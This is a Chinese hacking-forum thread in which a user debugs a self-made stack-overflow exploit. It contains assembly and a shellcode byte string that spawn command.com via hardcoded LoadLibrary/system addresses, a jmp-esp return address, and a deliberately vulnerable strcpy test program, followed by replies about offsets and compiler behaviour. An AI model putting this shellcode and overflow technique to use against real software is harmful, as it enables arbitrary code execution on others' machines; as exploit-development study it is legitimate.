返回列表 发帖

[讨论]莫名其妙呀,我的shellcode为啥没反应

[讨论]莫名其妙呀,我的shellcode为啥没反应
议题作者:xiao2004
信息来源:邪恶八进制信息安全团队(www.eviloctal.com

这段asm在vc下执行是没问题的,可以弹个command框

__asm{
  push ebp
  mov ebp,esp
  xor eax,eax
  push eax
  sub esp,08h

  mov byte ptr [ebp-0ch],6dh;
  mov byte ptr [ebp-0bh],73h;
  mov byte ptr [ebp-0ah],76h;
  mov byte ptr [ebp-09h],63h;
  mov byte ptr [ebp-08h],72h;
  mov byte ptr [ebp-07h],74h;
  mov byte ptr [ebp-06h],2eh;
  mov byte ptr [ebp-05h],64h;
  mov byte ptr [ebp-04h],6ch;
  mov byte ptr [ebp-03h],6ch;

  lea eax,[ebp-0ch];
  push       eax;
  
  mov eax,0x7c801d77;压入LoadLibrary的地址
  call        eax;
  
  push   ebp;  把ebp入栈, esp - 4
  mov ebp,esp;  给ebp赋新值勤,作为局部变量的基指针
  xor edi,edi;  
  push   edi;  把0入栈, esp - 4
  sub esp,08h;  加上上面一共有12字节,用来放command.com
  
  mov byte ptr [ebp-0ch],63h ;
  mov byte ptr [ebp-0bh],6fh ;
  mov byte ptr [ebp-0ah],6dh ;
  mov byte ptr [ebp-09h],6dh ;
  mov byte ptr [ebp-08h],61h ;
  mov byte ptr [ebp-07h],6eh ;
  mov byte ptr [ebp-06h],64h ;
  mov byte ptr [ebp-05h],2eh ;
  mov byte ptr [ebp-04h],63h ;
  mov byte ptr [ebp-03h],6fh ;
  mov byte ptr [ebp-02h],6dh ;
  
  lea eax,[ebp-0ch];
  push       eax;
  mov eax,0x77bf93c7;压入system的地址
  call eax;
}


然后我生成shellcode
"\x55\x8B\xEC\x33\xC0\x50\x83\xEC\x08\xC6\x45\xF4\x6D\xC6\x45\xF5\x73\xC6\x45\xF6\x76"
"\xC6\x45\xF7\x63\xC6\x45\xF8\x72\xC6\x45\xF9\x74\xC6\x45\xFA\x2E\xC6\x45\xFB\x64\xC6"
"\x45\xFC\x6C\xC6\x45\xFD\x6C\x8D\x45\xF4\x50\xB8\x77\x1D\x80\x7C\xFF\xD0\x55\x8B\xEC"
"\x33\xFF\x57\x83\xEC\x08\xC6\x45\xF4\x63\xC6\x45\xF5\x6F\xC6\x45\xF6\x6D\xC6\x45\xF7"
"\x6D\xC6\x45\xF8\x61\xC6\x45\xF9\x6E\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x63"
"\xC6\x45\xFD\x6F\xC6\x45\xFE\x6D\x8D\x45\xF4\x50\xB8\xC7\x93\xBF\x77\xFF\xD0";
再用asm直接调用也是没问题的.


但我实际用时,程序运行却没得反应了...
#include <stdio.h>
#include <string.h>

char shellcode[]=
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x12\x45\xfa\x7f"  //通用jmp esp地址
"\x55\x8B\xEC\x33\xC0\x50\x83\xEC\x08\xC6\x45\xF4\x6D\xC6\x45\xF5\x73\xC6\x45\xF6\x76"
"\xC6\x45\xF7\x63\xC6\x45\xF8\x72\xC6\x45\xF9\x74\xC6\x45\xFA\x2E\xC6\x45\xFB\x64\xC6"
"\x45\xFC\x6C\xC6\x45\xFD\x6C\x8D\x45\xF4\x50\xB8\x77\x1D\x80\x7C\xFF\xD0\x55\x8B\xEC"
"\x33\xFF\x57\x83\xEC\x08\xC6\x45\xF4\x63\xC6\x45\xF5\x6F\xC6\x45\xF6\x6D\xC6\x45\xF7"
"\x6D\xC6\x45\xF8\x61\xC6\x45\xF9\x6E\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x63"
"\xC6\x45\xFD\x6F\xC6\x45\xFE\x6D\x8D\x45\xF4\x50\xB8\xC7\x93\xBF\x77\xFF\xD0";

int main()
{

      char buf[8];

      strcpy(buf,shellcode);

      return 0;
}



谁能告诉我这是啥问题呀.
帖子452 精华16 积分1740 阅读权限100 性别男 在线时间221 小时 注册时间2005-3-19 最后登录2008-7-18 查看详细资料引用 报告 回复 TOP 良辰择日,预测咨询,公司改名,权威易经

gyzy

技术核心组

没有错,是应该在第14个字节处放JMP ESP,接着是shellcode
但是貌似在主函数里,分配8个字节的buf,在内存中离异常入口点比较近,因为你的shellcode太长,把异常入口也覆盖了,所以没有cmd,也没有错误提示了。
你可以把shellcode全填充为A,连41414141的错误也不会弹出,长度减少到比buf的8个字节多一点的时候才有提示。
所以,建议你测试的时候将buf和strcpy放在调用函数里,这样就不会出现这个问题。试试吧 [s:42]
帖子4 精华0 积分16 阅读权限40 性别男 在线时间2 小时 注册时间2006-8-17 最后登录2006-9-25 查看详细资料引用 报告 回复 TOP 良辰择日,预测咨询,公司改名,权威易经

xiao2004
荣誉会员

TOP

VC 7.0下编译,\GS选项关闭,导致溢出的代码如下:
004011AC  .  E8 4FFEFFFF  CALL test.00401000

00401000  /$  83EC 08     SUB ESP,8
00401003  |.  33C0       XOR EAX,EAX
00401005  |>  8A88 30704000 /MOV CL,BYTE PTR DS:[EAX+407030]
0040100B  |.  880C04      |MOV BYTE PTR SS:[ESP+EAX],CL
0040100E  |.  40        |INC EAX
0040100F  |.  84C9       |TEST CL,CL
00401011  |.^ 75 F2      \JNZ SHORT test.00401005
00401013  |.  33C0       XOR EAX,EAX
00401015  |.  83C4 08     ADD ESP,8
00401018  \.  C3        RETN


在Release模式下,返回地址被AAAA覆盖,原因:main函数调用Strcpy函数,指令指针入栈,然后分配八个字节,shellcode中应该覆盖8个\x41即可

帖子163 精华26 积分5252 阅读权限200 性别男 在线时间382 小时 注册时间2005-7-2 最后登录2008-7-9 查看个人网站
查看详细资料引用 报告 回复 TOP 您知道您年薪应是多少?

魔君
晶莹剔透§烈日灼然

TOP

返回列表